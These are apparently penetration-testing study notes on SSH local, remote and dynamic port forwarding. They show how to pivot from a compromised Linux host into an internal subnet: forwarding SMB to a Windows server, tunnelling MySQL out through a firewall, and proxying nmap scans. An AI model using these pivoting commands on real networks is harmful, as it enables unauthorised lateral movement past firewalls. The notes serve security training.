SSH Tunnelling

The SSH protocol is one of the most popular protocols for tunnelling and port forwarding because of its ability to create encrypted tunnels within the SSH protocol, which supports bidirectional communication channels.

SSH Local Port Forwarding

• Tunnel a local port to a remote server using SSH as the transport protocol
• Example:
  • During an assessment, we have compromised a Linux-based target through a remote vulnerability, elevated our privileges to root, and gained access to the passwords for both the root and student users on the machine
  • This compromised machine does not appear to have any outbound traffic filtering, and it only exposes SSH (port 22), RDP (port 3389), and the vulnerable service port (8080), which are also allowed on the firewall.
  • After enumerating the compromised Linux client (using ip a), we discover that in addition to being connected to the current network (10.11.0.x), it has another network interface that seems to be connected to a different network (192.168.1.x).
  • In this internal subnet (192.168.1.x), we identify a Windows Server 2016 machine that has network shares available.
• Goal: Forward port 445 on our Kali machine to port 445 on the Windows Server 2016 machine
  • If we do this, any Microsoft File Sharing queries directed at our Kali machine will be forwarded to the Windows Server 2016
• How To

  • On our Kali machine: sudo ssh -N -L 0.0.0.0:445:192.168.1.110:445 [email protected]

    • 192.168.1.110 = Windows Server 2016
    • [email protected] = the compromised go-between
    • Syntax = ssh -N -L [bind_address:]port:host:hostport [username@address]

  • Change the Samba config on our Kali machine at /etc/samba/smb.conf -> because the Windows Server 2016 no longer support SMB version 1 by default.

    ...
    Please note that you also need to set appropriate Unix permissions
    # to the drivers directory for these users to have write rights in it
    ;   write list = root, @lpadmin
    
    min protocol = SMB2
    

  • Restart the service: sudo /etc/init.d/smbd restart

• Test
  • Try to list the remote shares on the remote Windows 2016 Server, by pointing to our local host: smbclient -L 127.0.0.1 -U Administrator

SSH Remote Port Forwarding

• The reverse of local port forwarding, because a port is opened on the remote side of the connection and traffic sent to that port is forwarded to a port on our local machine (the machine initiating the SSH client).
• Example
  • In this case, we have access to a non-root shell on a Linux client on the internal network.
  • On this compromised machine, we discover that a MySQL server is running on TCP port 3306.
  • Unlike the previous scenario, the firewall is blocking inbound TCP port 22 (SSH) connections, so we can't SSH into this server from our Internet-connected Kali machine.
  • We can, however, SSH from this server out to our Kali attacking machine, since outbound TCP port 22 is allowed through the firewall.
  • We can leverage SSH remote port forwarding to open a port on our Kali machine that forwards traffic to the MySQL port (TCP 3306) on the internal server.
  • All forwarded traffic will traverse the SSH tunnel, right through the firewall.
• How To
  • One the compromised go-between: ssh -N -R 10.11.0.4:2221:127.0.0.1:3306 [email protected]
    • 10.11.0.4:2221 = The IP and Port of our Kali machine we'll use to talk with the MySQL server
    • 127.0.0.1:3306 = The IP and Port to the MySQL server
    • [email protected] = The Kali user and IP
    • Syntax = ssh -N -R [bind_address:]port:host:hostport [username@address]
  • On our Kali machine, confirm that port 2221 is listening: ss -antp | grep "2221"
• Test
  • Use Nmap to fingerprint that port on our local host, which will fingerprint the targets MySQL server: sudo nmap -sS -sV 127.0.0.1 -p 2221

SSH Dynamic Port Forwarding

• Allows us to set a local listening port and have it tunnel incoming traffic to any remote destination through the use of a proxy
• Example
  • In this scenario, we have compromised a Linux-based target and have elevated our privileges.
  • There do not seem to be any inbound or outbound traffic restrictions on the firewall.
  • After further enumeration (using ip a) of the compromised Linux client, we discover that in addition to being connected to the current network (10.11.0.x), it has an additional network interface that seems to be connected to a different network (192.168.1.x).
  • On this internal subnet (192.168.1.x), we have identified a Windows Server 2016 machine that has network shares available.
  • In the local port forwarding section, we managed to interact with the available shares on the Windows Server 2016 machine; however, that technique was limited to a particular IP address and port.

In this example, we would like to target additional ports on the Windows Server 2016 machine, or other hosts on the internal network, without having to establish different tunnels for each port or host of interest.

• How To

  • On our Kali machine: sudo ssh -N -D 127.0.0.1:8080 [email protected]

    • Syntax = ssh -N -D <address to bind to>:<port to bind to> <username>@<SSH server address>

  • Tell ProxyChains how to communicate through this proxy: cat /etc/proxychains.conf

    ...
    
    [ProxyList]
    # add proxy here ...
    # meanwile
    # defaults set to "tor"
    socks4 	127.0.0.1 8080 
    

• Test

  • Now we just need to prepend our kali tools with proxychains
    • Example: Try to scan the Windows Server 2016 on the internal network: sudo proxychains nmap --top-ports=20 -sT -Pn 192.168.1.110

Relevant Note(s): Pivoting